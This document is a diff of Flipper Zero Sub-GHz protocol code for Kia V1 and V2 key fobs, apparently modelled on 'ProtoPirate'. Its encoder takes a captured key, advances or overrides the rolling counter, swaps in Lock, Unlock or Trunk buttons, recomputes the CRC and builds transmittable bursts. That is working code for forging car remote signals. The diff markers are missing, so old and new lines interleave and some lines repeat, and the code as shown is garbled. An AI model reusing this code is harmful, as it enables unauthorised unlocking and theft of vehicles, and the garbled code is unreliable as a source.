SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_kia_v1_decoder,
.encoder = &subghz_protocol_kia_v1_encoder,
};
static void subghz_protocol_kia_v1_check_remote_controller(SubGhzProtocolDecoderKiaV1* instance);
static uint8_t kia_v1_crc4(const uint8_t* bytes, int count, uint8_t offset) {
uint8_t crc = 0;
for(int i = 0; i < count; i++) {
uint8_t b = bytes[i];
crc ^= ((b & 0x0F) ^ (b >> 4));
}
crc = (crc + offset) & 0x0F;
return crc;
}
static void subghz_protocol_kia_v1_check_remote_controller(SubGhzProtocolDecoderKiaV1* instance) {
// Estrazione campi esattamente come ProtoP irate
instance->generic.serial = instance->generic.data >> 24;
instance->generic.btn = (instance->generic.data >> 16) & 0xFF;
instance->generic.cnt = ((instance->generic.data >> 4) & 0xF) << 8 |
instance->generic.cnt = ((instance->generic.data >> 4) & 0xF) << 8 |
((instance->generic.data >> 8) & 0xFF);
uint8_t cnt_high = (instance->generic.cnt >> 8) & 0xF;
@@ -101,53 +110,48 @@ static void subghz_protocol_kia_v1_check_remote_controller(SubGhzProtocolDecoder
char_data[3] = instance->generic.serial & 0xFF;
char_data[4] = instance->generic.btn;
char_data[5] = instance->generic.cnt & 0xFF;
uint8_t crc;
if(cnt_high == 0) {
uint8_t offset = (instance->generic.cnt >= 0x098) ? instance->generic.btn : 1;
crc = kia_v1_crc4(char_data, 6, offset);
} else if(cnt_high >= 0x6) {
char_data[6] = cnt_high;
crc = kia_v1_crc4(char_data, 7, 1);
} else {
crc = kia_v1_crc4(char_data, 6, 1);
}
instance->crc = cnt_high << 4 | crc;
char_data[6] = cnt_high;
uint8_t crc = kia_v1_crc4(char_data, 7, 1);
instance->crc = crc;
instance->crc_check = (crc == (instance->generic.data & 0xF));
// Imposta bottoni custom
if(subghz_custom_btn_get_original() == 0) {
subghz_custom_btn_set_original(instance->generic.btn);
}
subghz_custom_btn_set_max(4);
}
static const char* subghz_protocol_kia_v1_get_name_button(uint8_t btn) {
const char* name;
switch(btn) {
case 0x1: return "Lock";
case 0x2: return "Unlock";
case 0x3: return "Trunk";
case 0x4: return "Panic";
default: return "Unknown";
case 0x1:
name = "Close";
break;
case 0x2:
name = "Open";
break;
case 0x3:
name = "Boot";
break;
default:
name = "??";
break;
}
return name;
}
void* subghz_protocol_encoder_kia_v1_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderKiaV1* instance = malloc(sizeof(SubGhzProtocolEncoderKiaV1));
SubGhzProtocolEncoderKiaV1* instance = calloc(1, sizeof(SubGhzProtocolEncoderKiaV1));
if(!instance) {
return NULL;
}
instance->base.protocol = &subghz_protocol_kia_v1;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 10;
instance->encoder.size_upload = 1200;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.size_upload = 0;
instance->encoder.upload = NULL;
instance->encoder.is_running = false;
instance->encoder.front = 0;
return instance;
}
@@ -174,19 +178,19 @@ LevelDuration subghz_protocol_encoder_kia_v1_yield(void* context) {
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
// ENCODER GET_UPLOAD
static void subghz_protocol_encoder_kia_v1_get_upload(SubGhzProtocolEncoderKiaV1* instance) {
furi_assert(instance);
if(instance->encoder.upload == NULL) return;
size_t index = 0;
LevelDuration* up = instance->encoder.upload;
// Calcolo CRC come ProtoP irate
uint8_t cnt_high = (instance->generic.cnt >> 8) & 0xF;
uint8_t char_data[7];
char_data[0] = (instance->generic.serial >> 24) & 0xFF;
@@ -195,160 +199,145 @@ static void subghz_protocol_encoder_kia_v1_get_upload(SubGhzProtocolEncoderKiaV1
char_data[3] = instance->generic.serial & 0xFF;
char_data[4] = instance->generic.btn;
char_data[5] = instance->generic.cnt & 0xFF;
uint8_t crc;
if(cnt_high == 0) {
uint8_t offset = (instance->generic.cnt >= 0x098) ? instance->generic.btn : 1;
crc = kia_v1_crc4(char_data, 6, offset);
} else if(cnt_high >= 0x6) {
char_data[6] = cnt_high;
crc = kia_v1_crc4(char_data, 7, 1);
} else {
crc = kia_v1_crc4(char_data, 6, 1);
}
// Costruisci data esattamente come ProtoP irate
char_data[6] = cnt_high;
uint8_t crc = kia_v1_crc4(char_data, 7, 1);
instance->generic.data = (uint64_t)instance->generic.serial << 24 |
(uint64_t)instance->generic.btn << 16 |
(uint64_t)(instance->generic.cnt & 0xFF) << 8 |
(uint64_t)((instance->generic.cnt >> 8) & 0xF) << 4 |
crc;
instance->generic.btn << 16 | (instance->generic.cnt & 0xFF) << 8 |
((instance->generic.cnt >> 8) & 0xF) << 4 | crc;
const uint32_t te_short = (uint32_t)subghz_protocol_kia_v1_const.te_short;
const uint32_t te_long = (uint32_t)subghz_protocol_kia_v1_const.te_long;
// 3 burst come ProtoP irate
for(uint8_t burst = 0; burst < KIA_V1_TOTAL_BURSTS; burst++) {
// Gap tra burst
if(burst > 0) {
instance->encoder.upload[index++] =
level_duration_make(false, KIA_V1_INTER_BURST_GAP_US);
up[index++] = level_duration_make(false, KIA_V1_INTER_BURST_GAP_US);
}
// 90 header pulses: LOW-HIGH con te_long
for(int i = 0; i < KIA_V1_HEADER_PULSES; i++) {
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_kia_v1_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_kia_v1_const.te_long);
up[index++] = level_duration_make(false, te_long);
up[index++] = level_duration_make(true, te_long);
}
// SHORT_LOW prima dei dati
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_kia_v1_const.te_short);
up[index++] = level_duration_make(false, te_short);
// Manchester encoding dei dati
for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
if(bit_read(instance->generic.data, i - 2)) {
// Bit 1: HIGH-LOW
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_kia_v1_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_kia_v1_const.te_short);
} else {
// Bit 0: LOW-HIGH
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_kia_v1_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_kia_v1_const.te_short);
}
bool bit = bit_read(instance->generic.data, i - 2);
up[index++] = level_duration_make(bit, te_short);
up[index++] = level_duration_make(!bit, te_short);
}
}
instance->encoder.size_upload = index;
instance->encoder.front = 0;
FURI_LOG_I(TAG, "Upload built: size=%zu, data=0x%014llX", index, instance->generic.data);
FURI_LOG_I(
TAG,
"Upload built: %d bursts, size_upload=%zu, data_count_bit=%u, data=0x%016llX",
KIA_V1_TOTAL_BURSTS,
instance->encoder.size_upload,
instance->generic.data_count_bit,
instance->generic.data);
}
SubGhzProtocolStatus subghz_protocol_encoder_kia_v1_deserialize(void* context, FlipperFormat* flipper_format) {
SubGhzProtocolStatus
subghz_protocol_encoder_kia_v1_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderKiaV1* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
flipper_format_rewind(flipper_format);
do {
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
if(ret != SubGhzProtocolStatusOk) {
FURI_LOG_E(TAG, "Deserialize failed");
FURI_LOG_E(TAG, "Missing or wrong Protocol");
break;
}
// Imposta data_count_bit
instance->generic.data_count_bit = subghz_protocol_kia_v1_const.min_count_bit_for_found;
// Estrai serial, btn, cnt dalla data (come ProtoP irate)
if(instance->generic.data == 0) break;
instance->generic.serial = instance->generic.data >> 24;
instance->generic.btn = (instance->generic.data >> 16) & 0xFF;
instance->generic.cnt = ((instance->generic.data >> 4) & 0xF) << 8 |
instance->generic.cnt = ((instance->generic.data >> 4) & 0xF) << 8 |
((instance->generic.data >> 8) & 0xFF);
FURI_LOG_I(TAG, "Deserialized: data=%014llX, serial=%08lX, btn=%02X, cnt=%03lX",
instance->generic.data, instance->generic.serial,
instance->generic.btn, instance->generic.cnt);
// Imposta bottone originale per custom buttons
if(subghz_custom_btn_get_original() == 0) {
subghz_custom_btn_set_original(instance->generic.btn);
instance->encoder.repeat = 10;
if(instance->encoder.upload == NULL) {
instance->encoder.size_upload = KIA_V1_UPLOAD_CAPACITY;
instance->encoder.upload =
malloc(instance->encoder.size_upload * sizeof(LevelDuration));
}
subghz_custom_btn_set_max(4);
uint32_t override_cnt = 0;
if(subghz_block_generic_global_counter_override_get(&override_cnt)) {
instance->generic.cnt = override_cnt & 0xFFF;
} else if(instance->generic.cnt < 0xFFF) {
instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
if(instance->generic.cnt > 0xFFF) {
instance->generic.cnt = 0;
}
} else {
instance->generic.cnt = 0;
}
// Gestione bottoni custom
uint8_t btn = subghz_custom_btn_get();
if(subghz_block_generic_global_button_override_get(&btn)) {
instance->generic.btn = btn;
} else if(btn != SUBGHZ_CUSTOM_BTN_OK) {
instance->generic.btn = btn;
}
// Costruisci upload
subghz_protocol_encoder_kia_v1_get_upload(instance);
// Aggiorna file con nuova key
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
ret = SubGhzProtocolStatusErrorParserOthers;
break;
}
uint8_t key_data[sizeof(uint64_t)] = {0};
for(size_t i = 0; i < sizeof(uint64_t); i++) {
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> (i * 8)) & 0xFF;
}
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
FURI_LOG_E(TAG, "Unable to update Key");
ret = SubGhzProtocolStatusErrorParserKey;
break;
}
uint32_t temp_btn = instance->generic.btn;
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &temp_btn, 1);
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &instance->generic.cnt, 1);
instance->encoder.is_running = true;
FURI_LOG_I(
TAG,
"Encoder deserialized: repeat=%u, size_upload=%zu, is_running=%d, front=%zu",
instance->encoder.repeat,
instance->encoder.size_upload,
instance->encoder.is_running,
instance->encoder.front);
ret = SubGhzProtocolStatusOk;
} while(false);
return ret;
}
void subghz_protocol_encoder_kia_v1_set_button(void* context, uint8_t button) {
furi_assert(context);
SubGhzProtocolEncoderKiaV1* instance = context;
instance->generic.btn = button & 0xFF;
subghz_protocol_encoder_kia_v1_get_upload(instance);
FURI_LOG_I(TAG, "Button set to 0x%02X, upload rebuilt with new CRC", instance->generic.btn);
}
void subghz_protocol_encoder_kia_v1_set_counter(void* context, uint16_t counter) {
furi_assert(context);
SubGhzProtocolEncoderKiaV1* instance = context;
instance->generic.cnt = counter & 0xFFF;
subghz_protocol_encoder_kia_v1_get_upload(instance);
FURI_LOG_I(
TAG,
"Counter set to 0x%03X, upload rebuilt with new CRC",
(uint16_t)instance->generic.cnt);
}
void subghz_protocol_encoder_kia_v1_increment_counter(void* context) {
furi_assert(context);
SubGhzProtocolEncoderKiaV1* instance = context;
instance->generic.cnt = (instance->generic.cnt + 1) & 0xFFF;
subghz_protocol_encoder_kia_v1_get_upload(instance);
FURI_LOG_I(
TAG,
"Counter incremented to 0x%03X, upload rebuilt with new CRC",
(uint16_t)instance->generic.cnt);
}
uint16_t subghz_protocol_encoder_kia_v1_get_counter(void* context) {
furi_assert(context);
SubGhzProtocolEncoderKiaV1* instance = context;
return instance->generic.cnt;
}
uint8_t subghz_protocol_encoder_kia_v1_get_button(void* context) {
furi_assert(context);
SubGhzProtocolEncoderKiaV1* instance = context;
return instance->generic.btn;
}
void* subghz_protocol_decoder_kia_v1_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderKiaV1* instance = malloc(sizeof(SubGhzProtocolDecoderKiaV1));
SubGhzProtocolDecoderKiaV1* instance = calloc(1, sizeof(SubGhzProtocolDecoderKiaV1));
if(!instance) {
return NULL;
}
instance->base.protocol = &subghz_protocol_kia_v1;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
@@ -366,7 +355,6 @@ void subghz_protocol_decoder_kia_v1_reset(void* context) {
instance->decoder.parser_step = KiaV1DecoderStepReset;
}
// FEED
void subghz_protocol_decoder_kia_v1_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderKiaV1* instance = context;
@@ -424,7 +412,6 @@ void subghz_protocol_decoder_kia_v1_feed(void* context, bool level, uint32_t dur
subghz_protocol_kia_v1_const.te_delta)) {
event = level ? ManchesterEventLongLow : ManchesterEventLongHigh;
} else {
// Durata non valida - reset completo
instance->decoder.parser_step = KiaV1DecoderStepReset;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
@@ -441,8 +428,7 @@ void subghz_protocol_decoder_kia_v1_feed(void* context, bool level, uint32_t dur
}
}
if(instance->decoder.decode_count_bit ==
subghz_protocol_kia_v1_const.min_count_bit_for_found) {
if(instance->decoder.decode_count_bit == subghz_protocol_kia_v1_const.min_count_bit_for_found) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
@@ -469,12 +455,17 @@ SubGhzProtocolStatus subghz_protocol_decoder_kia_v1_serialize(
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderKiaV1* instance = context;
subghz_protocol_kia_v1_check_remote_controller(instance);
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus subghz_protocol_decoder_kia_v1_deserialize(void* context, FlipperFormat* flipper_format) {
SubGhzProtocolStatus
subghz_protocol_decoder_kia_v1_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderKiaV1* instance = context;
flipper_format_rewind(flipper_format);
return subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_kia_v1_const.min_count_bit_for_found);
}
@@ -484,7 +475,6 @@ void subghz_protocol_decoder_kia_v1_get_string(void* context, FuriString* output
SubGhzProtocolDecoderKiaV1* instance = context;
subghz_protocol_kia_v1_check_remote_controller(instance);
uint32_t code_found_hi = instance->generic.data >> 32;
uint32_t code_found_lo = instance->generic.data & 0xFFFFFFFF;
@@ -492,17 +482,17 @@ void subghz_protocol_decoder_kia_v1_get_string(void* context, FuriString* output
output,
"%s %dbit\r\n"
"Key:%06lX%08lX\r\n"
"Sn:%08lX Cnt:%03lX\r\n"
"Btn:%02X:[%s]\r\n"
"CRC:%02X %s\r\n",
"Serial:%08lX\r\n"
"Cnt:%03lX CRC:%01X %s\r\n"
"Btn:%02X:%s\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
code_found_hi,
code_found_lo,
instance->generic.serial,
instance->generic.cnt,
instance->generic.btn,
subghz_protocol_kia_v1_get_name_button(instance->generic.btn),
instance->crc,
instance->crc_check ? "(OK)" : "(FAIL)");
instance->crc_check ? "OK" : "WRONG",
instance->generic.btn,
subghz_protocol_kia_v1_get_name_button(instance->generic.btn));
}
+137 -149
View File
@@ -6,14 +6,15 @@
#include "../blocks/generic.h"
#include "../blocks/math.h"
#include "../blocks/custom_btn_i.h"
#include <lib/toolbox/manchester_decoder.h>
#include <lib/toolbox/manchester_encoder.h>
#include <furi_hal_subghz.h>
#include <furi.h>
#define TAG "SubGhzProtocolKiaV2"
#define TAG "KiaV2"
#define KIA_V2_HEADER_PAIRS 252
#define KIA_V2_TOTAL_BURSTS 2
#define KIA_V2_UPLOAD_CAPACITY \
(KIA_V2_TOTAL_BURSTS * ((KIA_V2_HEADER_PAIRS * 2) + 1 + ((53U - 1U) * 2)))
static const SubGhzBlockConst subghz_protocol_kia_v2_const = {
.te_short = 500,
@@ -27,6 +28,7 @@ struct SubGhzProtocolDecoderKiaV2 {
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
uint16_t header_count;
ManchesterState manchester_state;
};
@@ -64,8 +66,8 @@ const SubGhzProtocolEncoder subghz_protocol_kia_v2_encoder = {
const SubGhzProtocol subghz_protocol_kia_v2 = {
.name = SUBGHZ_PROTOCOL_KIA_V2_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM |
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_kia_v2_decoder,
.encoder = &subghz_protocol_kia_v2_encoder,
@@ -90,71 +92,61 @@ static uint8_t kia_v2_calculate_crc(uint64_t data) {
return (crc + 1) & 0x0F;
}
static void subghz_protocol_kia_v2_check_remote_controller(SubGhzProtocolDecoderKiaV2* instance) {
instance->generic.serial = (uint32_t)((instance->generic.data >> 20) & 0xFFFFFFFF);
instance->generic.btn = (uint8_t)((instance->generic.data >> 16) & 0x0F);
uint16_t raw_count = (uint16_t)((instance->generic.data >> 4) & 0xFFF);
instance->generic.cnt = ((raw_count >> 4) | (raw_count << 8)) & 0xFFF;
if(subghz_custom_btn_get_original() == 0) {
subghz_custom_btn_set_original(instance->generic.btn);
}
subghz_custom_btn_set_max(4);
}
static void subghz_protocol_encoder_kia_v2_get_upload(SubGhzProtocolEncoderKiaV2* instance) {
furi_assert(instance);
if(instance->encoder.upload == NULL) return;
size_t index = 0;
LevelDuration* up = instance->encoder.upload;
const uint32_t te_short = (uint32_t)subghz_protocol_kia_v2_const.te_short;
const uint32_t te_long = (uint32_t)subghz_protocol_kia_v2_const.te_long;
uint8_t crc = kia_v2_calculate_crc(instance->generic.data);
instance->generic.data = (instance->generic.data & ~0x0FULL) | crc;
for(uint8_t burst = 0; burst < KIA_V2_TOTAL_BURSTS; burst++) {
for(int i = 0; i < KIA_V2_HEADER_PAIRS; i++) {
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_kia_v2_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_kia_v2_const.te_long);
up[index++] = level_duration_make(false, te_long);
up[index++] = level_duration_make(true, te_long);
}
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_kia_v2_const.te_short);
up[index++] = level_duration_make(false, te_short);
for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
bool bit = bit_read(instance->generic.data, i - 2);
if(bit) {
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_kia_v2_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_kia_v2_const.te_short);
} else {
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_kia_v2_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_kia_v2_const.te_short);
}
up[index++] = level_duration_make(bit, te_short);
up[index++] = level_duration_make(!bit, te_short);
}
}
instance->encoder.size_upload = index;
instance->encoder.front = 0;
FURI_LOG_I(
TAG,
"Upload built: %d bursts, size_upload=%zu, data_count_bit=%u, data=0x%016llX",
KIA_V2_TOTAL_BURSTS,
instance->encoder.size_upload,
instance->generic.data_count_bit,
instance->generic.data);
}
void* subghz_protocol_encoder_kia_v2_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderKiaV2* instance = malloc(sizeof(SubGhzProtocolEncoderKiaV2));
SubGhzProtocolEncoderKiaV2* instance = calloc(1, sizeof(SubGhzProtocolEncoderKiaV2));
if(!instance) {
return NULL;
}
instance->base.protocol = &subghz_protocol_kia_v2;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 10;
instance->encoder.size_upload = 1300;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.size_upload = 0;
instance->encoder.upload = NULL;
instance->encoder.is_running = false;
instance->encoder.front = 0;
return instance;
}
@@ -174,113 +166,102 @@ void subghz_protocol_encoder_kia_v2_stop(void* context) {
LevelDuration subghz_protocol_encoder_kia_v2_yield(void* context) {
furi_assert(context);
SubGhzProtocolEncoderKiaV2* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
SubGhzProtocolStatus subghz_protocol_encoder_kia_v2_deserialize(void* context, FlipperFormat* flipper_format) {
SubGhzProtocolStatus
subghz_protocol_encoder_kia_v2_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderKiaV2* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
flipper_format_rewind(flipper_format);
do {
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
if(ret != SubGhzProtocolStatusOk) {
FURI_LOG_E(TAG, "Missing or wrong Protocol");
break;
}
instance->generic.data_count_bit = subghz_protocol_kia_v2_const.min_count_bit_for_found;
if(instance->generic.data == 0) break;
instance->generic.serial = (uint32_t)((instance->generic.data >> 20) & 0xFFFFFFFF);
instance->generic.btn = (uint8_t)((instance->generic.data >> 16) & 0x0F);
uint16_t raw_count = (uint16_t)((instance->generic.data >> 4) & 0xFFF);
instance->generic.cnt = ((raw_count >> 4) | (raw_count << 8)) & 0xFFF;
if(subghz_custom_btn_get_original() == 0) {
subghz_custom_btn_set_original(instance->generic.btn);
}
subghz_custom_btn_set_max(4);
uint32_t override_cnt = 0;
if(subghz_block_generic_global_counter_override_get(&override_cnt)) {
instance->generic.cnt = override_cnt & 0xFFF;
} else if(instance->generic.cnt < 0xFFF) {
instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
if(instance->generic.cnt > 0xFFF) {
instance->generic.cnt = 0;
}
} else {
instance->generic.cnt = 0;
}
uint8_t btn = subghz_custom_btn_get();
if(subghz_block_generic_global_button_override_get(&btn)) {
instance->generic.btn = btn;
} else if(btn != SUBGHZ_CUSTOM_BTN_OK) {
instance->generic.btn = btn;
}
uint64_t bit52 = instance->generic.data & (1ULL << 52);
instance->encoder.repeat = 10;
uint64_t new_data = 0;
new_data |= bit52;
new_data |= ((uint64_t)instance->generic.serial << 20) & 0x000FFFFFFFF00000ULL;
new_data |= 1ULL << 52;
new_data |= ((uint64_t)instance->generic.serial << 20) & 0xFFFFFFFFF00000ULL;
uint32_t uVar6 = ((uint32_t)(instance->generic.cnt & 0xFF) << 8) |
((uint32_t)(instance->generic.btn & 0x0F) << 16) |
((uint32_t)(instance->generic.cnt >> 4) & 0xF0);
new_data |= (uint64_t)uVar6;
instance->generic.data = new_data;
instance->generic.data_count_bit = 53;
FURI_LOG_I(
TAG,
"Encoder reconstruct: serial=0x%08lX, btn=0x%X, cnt=0x%03lX, uVar6=0x%05lX, data=0x%016llX",
(unsigned long)instance->generic.serial,
(unsigned int)instance->generic.btn,
(unsigned long)instance->generic.cnt,
(unsigned long)uVar6,
(unsigned long long)instance->generic.data);
if(instance->encoder.upload == NULL) {
instance->encoder.size_upload = KIA_V2_UPLOAD_CAPACITY;
instance->encoder.upload =
malloc(instance->encoder.size_upload * sizeof(LevelDuration));
}
subghz_protocol_encoder_kia_v2_get_upload(instance);
if(!flipper_format_rewind(flipper_format)) {
ret = SubGhzProtocolStatusErrorParserOthers;
break;
}
uint8_t key_data[sizeof(uint64_t)] = {0};
for(size_t i = 0; i < sizeof(uint64_t); i++) {
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> (i * 8)) & 0xFF;
}
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
ret = SubGhzProtocolStatusErrorParserKey;
break;
}
uint32_t temp_btn = instance->generic.btn;
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &temp_btn, 1);
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &instance->generic.cnt, 1);
instance->encoder.is_running = true;
FURI_LOG_I(
TAG,
"Encoder deserialized: repeat=%u, size_upload=%zu, is_running=%d, front=%zu",
instance->encoder.repeat,
instance->encoder.size_upload,
instance->encoder.is_running,
instance->encoder.front);
ret = SubGhzProtocolStatusOk;
} while(false);
return ret;
}
void* subghz_protocol_decoder_kia_v2_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderKiaV2* instance = malloc(sizeof(SubGhzProtocolDecoderKiaV2));
SubGhzProtocolDecoderKiaV2* instance = calloc(1, sizeof(SubGhzProtocolDecoderKiaV2));
if(!instance) {
return NULL;
}
instance->base.protocol = &subghz_protocol_kia_v2;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
@@ -308,22 +289,28 @@ void subghz_protocol_decoder_kia_v2_feed(void* context, bool level, uint32_t dur
switch(instance->decoder.parser_step) {
case KiaV2DecoderStepReset:
if(DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_long) < subghz_protocol_kia_v2_const.te_delta) {
if((level) && (DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_long) <
subghz_protocol_kia_v2_const.te_delta)) {
instance->decoder.parser_step = KiaV2DecoderStepCheckPreamble;
instance->decoder.te_last = duration;
instance->header_count = 0;
manchester_advance(instance->manchester_state, ManchesterEventReset,
&instance->manchester_state, NULL);
manchester_advance(
instance->manchester_state,
ManchesterEventReset,
&instance->manchester_state,
NULL);
}
break;
case KiaV2DecoderStepCheckPreamble:
if(level) {
if(DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_long) <
subghz_protocol_kia_v2_const.te_delta) {
instance->decoder.te_last = duration;
instance->header_count++;
} else if(DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_short) <
subghz_protocol_kia_v2_const.te_delta) {
} else if(
DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_short) <
subghz_protocol_kia_v2_const.te_delta) {
if(instance->header_count >= 100) {
instance->header_count = 0;
instance->decoder.decode_data = 0;
@@ -341,8 +328,9 @@ void subghz_protocol_decoder_kia_v2_feed(void* context, bool level, uint32_t dur
subghz_protocol_kia_v2_const.te_delta) {
instance->header_count++;
instance->decoder.te_last = duration;
} else if(DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_short) <
subghz_protocol_kia_v2_const.te_delta) {
} else if(
DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_short) <
subghz_protocol_kia_v2_const.te_delta) {
instance->decoder.te_last = duration;
} else {
instance->decoder.parser_step = KiaV2DecoderStepReset;
@@ -352,7 +340,6 @@ void subghz_protocol_decoder_kia_v2_feed(void* context, bool level, uint32_t dur
case KiaV2DecoderStepCollectRawBits: {
ManchesterEvent event;
if(DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_short) <
subghz_protocol_kia_v2_const.te_delta) {
event = level ? ManchesterEventShortLow : ManchesterEventShortHigh;
@@ -365,8 +352,8 @@ void subghz_protocol_decoder_kia_v2_feed(void* context, bool level, uint32_t dur
}
bool data_bit;
if(manchester_advance(instance->manchester_state, event,
&instance->manchester_state, &data_bit)) {
if(manchester_advance(
instance->manchester_state, event, &instance->manchester_state, &data_bit)) {
instance->decoder.decode_data = (instance->decoder.decode_data << 1) | data_bit;
instance->decoder.decode_count_bit++;
@@ -374,7 +361,8 @@ void subghz_protocol_decoder_kia_v2_feed(void* context, bool level, uint32_t dur
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
instance->generic.serial = (uint32_t)((instance->generic.data >> 20) & 0xFFFFFFFF);
instance->generic.serial =
(uint32_t)((instance->generic.data >> 20) & 0xFFFFFFFF);
instance->generic.btn = (uint8_t)((instance->generic.data >> 16) & 0x0F);
uint16_t raw_count = (uint16_t)((instance->generic.data >> 4) & 0xFFF);
@@ -387,7 +375,6 @@ void subghz_protocol_decoder_kia_v2_feed(void* context, bool level, uint32_t dur
instance->decoder.decode_count_bit = 0;
instance->header_count = 0;
instance->decoder.parser_step = KiaV2DecoderStepReset;
manchester_advance(instance->manchester_state, ManchesterEventReset, &instance->manchester_state, NULL);
}
}
break;
@@ -398,11 +385,11 @@ void subghz_protocol_decoder_kia_v2_feed(void* context, bool level, uint32_t dur
uint8_t subghz_protocol_decoder_kia_v2_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderKiaV2* instance = context;
uint32_t hash = instance->generic.serial;
hash ^= (instance->generic.btn << 24);
hash ^= (instance->generic.cnt << 12);
return (uint8_t)(hash ^ (hash >> 8) ^ (hash >> 16) ^ (hash >> 24));
}
@@ -412,49 +399,50 @@ SubGhzProtocolStatus subghz_protocol_decoder_kia_v2_serialize(
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderKiaV2* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
SubGhzProtocolStatus ret =
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
if(ret != SubGhzProtocolStatusOk) return ret;
uint32_t crc = instance->generic.data & 0x0F;
if(!flipper_format_write_uint32(flipper_format, "CRC", &crc, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
uint32_t raw_count = (uint16_t)((instance->generic.data >> 4) & 0xFFF);
